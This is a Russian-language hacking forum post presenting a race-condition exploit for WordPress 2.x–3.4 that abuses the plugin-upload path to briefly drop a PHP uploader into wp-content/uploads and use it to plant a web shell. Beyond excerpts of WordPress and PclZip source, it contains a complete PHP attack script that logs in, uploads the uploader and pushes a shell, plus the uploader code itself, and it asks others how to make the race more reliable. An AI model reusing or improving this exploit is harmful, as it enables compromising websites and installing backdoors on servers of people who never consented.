WordPress 2.*<3.4 и Файл Шрёдингера Предисловие: - Видишь суслика? - Нет. - И я не вижу. А он есть! - Поняно... (с) ДМБ ========================================== Описание уязвимости: Загрузка произвольных файлов в обход внутренних правил безопасности WordPress на ветке 2.* < 3.4 ========================================== Подробности: На самом деле в ветке 2.* сильно никаких проверок то и нет, достаточно почитать моё исследование раньше в этой теме. Поэтому нам будет интересно поковырять ветку 3.0 и выше, где content-type и расширения фильтруются уже на уровне загрузки в Media Manager. И так... Что мы имеем: 1) Логин и пароль админа; 2) Права на запись в папку ./wp-content/uploads (по умолчанию вкл) 3) Возможность редактирования шаблонов как php кода - заблокировано. 4) Возможность редактирования плагинов как php кода - заблокировано. 5) Загрузка файлов через MediaManager - режется внутренними фильтрами. 6) В версии <3.4 ещё нет возможности сохранять в папке /uploads любой файл как php код. Вот в таких немного жестковатых условиях начнём экспериментировать. В результате фаззинга, ещё летом 2014 года я наковырял интересную фишку. Если попробовать загрузить файл через "Upload New Plugin" или "Upload New Theme" - дата изменения папки ./wp-content/uploads меняется на текущую, хотя файлов там не прибавляется. Стало интересно, полез читать исходники. Вот что вычитал: ./wp-admin/includes/plugin-install.php Code: .......................... function install_plugins_upload( $page = 1 ) { ?> <h4><?php _e('Install a plugin in .zip format') ?></h4> <p class="install-help"><?php _e('If you have a plugin in a .zip format, you may install it by uploading it here.') ?></p> <form method="post" enctype="multipart/form-data" action="<?php echo admin_url('update.php?action=upload-plugin') ?>"> <?php wp_nonce_field( 'plugin-upload') ?> <label class="screen-reader-text" for="pluginzip"><?php _e('Plugin zip file'); ?></label> <input type="file" id="pluginzip" name="pluginzip" /> <input type="submit" class="button" value="<?php esc_attr_e('Install Now') ?>" /> </form> ....................... ./wp-admin/includes/class-pclzip.php Code: ................................. function privAdd($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); // ----- Look if the archive exists or is empty if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) { ..................................................................... // ----- Open the zip file if (($v_result=$this->privOpenFd('rb')) != 1) { ..................................................................... // ----- Creates a temporay file $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; // ----- Open the temporary file in write mode if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); // ----- Return return PclZip::errorCode(); } // ----- Copy the files from the archive to the temporary file // TBC : Here I should better append the file and go back to erase the central dir $v_size = $v_central_dir['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } ........................................................... // ----- Create the central dir footer if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) { // ----- Reset the file list unset($v_header_list); $this->privSwapBackMagicQuotes(); // ----- Return return $v_result; } // ----- Swap back the file descriptor $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; // ----- Close $this->privCloseFd(); // ----- Close the temporary file @fclose($v_zip_temp_fd); // ----- Magic quotes trick $this->privSwapBackMagicQuotes(); // ----- Delete the zip file // TBC : I should test the result ... @unlink($this->zipname); // ----- Rename the temporary file // TBC : I should test the result ... //@rename($v_zip_temp_name, $this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); // ----- Return return $v_result; } Ну или вкратце: загружаемый zip архив открывается, парсится, распаковывается и удаляется. Все действия - в порядке вещей. Если мы попробуем вместо .zip подсунуть .php файл, он тоже будет подвергаться всем этим действиям, и в итоге - удалится. При попытке загрузить шелл-код на сервер, я столкнулся с проблемой 0.233 секунд - этого времени явно маловато для последовательной загрузки аплоадера и затем самого шелл-кода. Однако, если пропихнуть в аплоадер что-нибудь для веса - время парсинга можно увеличить до рекордных 1.363 секунд. (тут я рассматриваю стандартную конфигурацию сервера, а конкретно Denwer сборку). Значит вручную это будет делать тяжело, пишем скрипт. В итоге родился такой концепт (это бета-версия) script.php Code: <?php header("Content-Type: text/html; charset=utf-8"); # Main Data $login = 'admin'; $password = 'wp31'; $site = 'http://10.4.20.11/wp'; $uploader = '@c:/up.php'; $shellcode = '@c:/1pas.php'; $user_agent = 'BigBear Uploader'; $cookies = dirname(__FILE__) . '/cookies.txt'; $automatic = curl_init(); curl_setopt($automatic, CURLOPT_USERAGENT, $user_agent); curl_setopt($automatic, CURLOPT_REFERER, "http://mail.ru/"); curl_setopt($automatic, CURLOPT_TIMEOUT, 10); curl_setopt($automatic, CURLOPT_URL, $site . '/wp-login.php'); curl_setopt($automatic, CURLOPT_RETURNTRANSFER, true); curl_setopt($automatic, CURLOPT_FOLLOWLOCATION, true); # Login Procedure curl_setopt($automatic, CURLOPT_POST, true); curl_setopt($automatic, CURLOPT_POSTFIELDS, "log=$login&pwd=$password&wp-submit=Войти&redirect_to=$site/wp-admin/plugin-install.php?tab=upload"); curl_setopt($automatic, CURLOPT_COOKIEFILE, $cookies); curl_setopt($automatic, CURLOPT_COOKIEJAR, $cookies); curl_exec($automatic); # Checking for good/bad curl_setopt($automatic, CURLOPT_URL, $site. '/wp-admin/plugin-install.php?tab=upload'); $demo = curl_exec($automatic); if (strripos($demo, 'logout') === false) { echo "Login Failed<br><br>"; exit; } else { echo "Login Succesful<br><br>"; } #Procedure Test Upload $postData['_wp_http_referer'] = '/wp-admin/plugin-install.php?tab=upload'; $postData['pluginzip'] = $uploader; $postData['_wpnonce'] = '671ff2df4a'; $postData['submit'] = 'Установить'; curl_setopt($automatic, CURLOPT_URL, $site. '/wp-admin/update.php?action=upload-plugin'); curl_setopt($automatic, CURLOPT_POSTFIELDS, $postData); curl_setopt($automatic, CURLOPT_RETURNTRANSFER, true); curl_setopt($automatic, CURLOPT_VERBOSE, true); $demo = curl_exec($automatic); if (strripos($demo, 'PCLZIP_ERR_BAD_FORMAT') === false) { echo "Test upload Failed<br><br>"; } else { echo "Test upload Succesful<br><br>"; } #Procedure Upload of ShellCode $postData['file'] = $shellcode; $postData['submit'] = 'Установить'; curl_setopt($automatic, CURLOPT_URL, $site. '/wp-content/uploads/up.php'); curl_setopt($automatic, CURLOPT_POSTFIELDS, $postData); curl_setopt($automatic, CURLOPT_RETURNTRANSFER, true); curl_setopt($automatic, CURLOPT_VERBOSE, true); $demo = curl_exec($automatic); if (strripos($demo, 'Success') === false) { echo "Upload of shellcode Failed<br><br>"; } else { echo "Upload of shellcode Succesful<br><br>"; echo "Shell is here - ./wp-content/uploads/1pas.php"; } curl_close($automatic); ?> Up.php Code: <?php if(isset($_FILES['file'])){ $file_name = $_FILES['file']['name']; $file_tmp =$_FILES['file']['tmp_name']; move_uploaded_file($file_tmp,"./".$file_name); echo "Success"; } ?> <form action="" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit"/> </form> Как это работает: Скрипт авторизуется в WordPress, заливает uploader в ./wp-content/uploads и отправляет аплоадеру запрос на загрузку шелл кода, пока аплоадер ещё не удалён. Какие проблемы: 1) Запрос к аплоадеру отправляется слишком поздно, на localhost загрузка идёт раз через раз. Нужно использовать multi-exec. 2) Хорошо бы вместо аплоадера использовать конструкцию типа cp('./wp-content/uploads/image.jpg','./wp-content/uploads/shell.php'). Эта конструкция лучше, так как менее временизатратная, вы просто стандартным MediaManager аплоадите картинку с шеллом, а наш скрипт её переименуют и переместит. Можно успеть уложиться в отведённое время. Заключение: Скрипт пока ещё будет дописываться, концепт показал. Коллеги, может будут какие-нибудь предложения по увеличению времени жизни загружаемого аплоадера?
По сути тут чистый Race Condition, как мне уже предложили, разумно в качестве Uploader использовать file_put_contents(shell_code), а для того, что бы войти в состоянии гонки - использовать bash curl -X HEAD <uploader>. Это бы решило проблему.... Но кое-где HEAD бывает отключен, GET может парсить долго. Что делать тогда?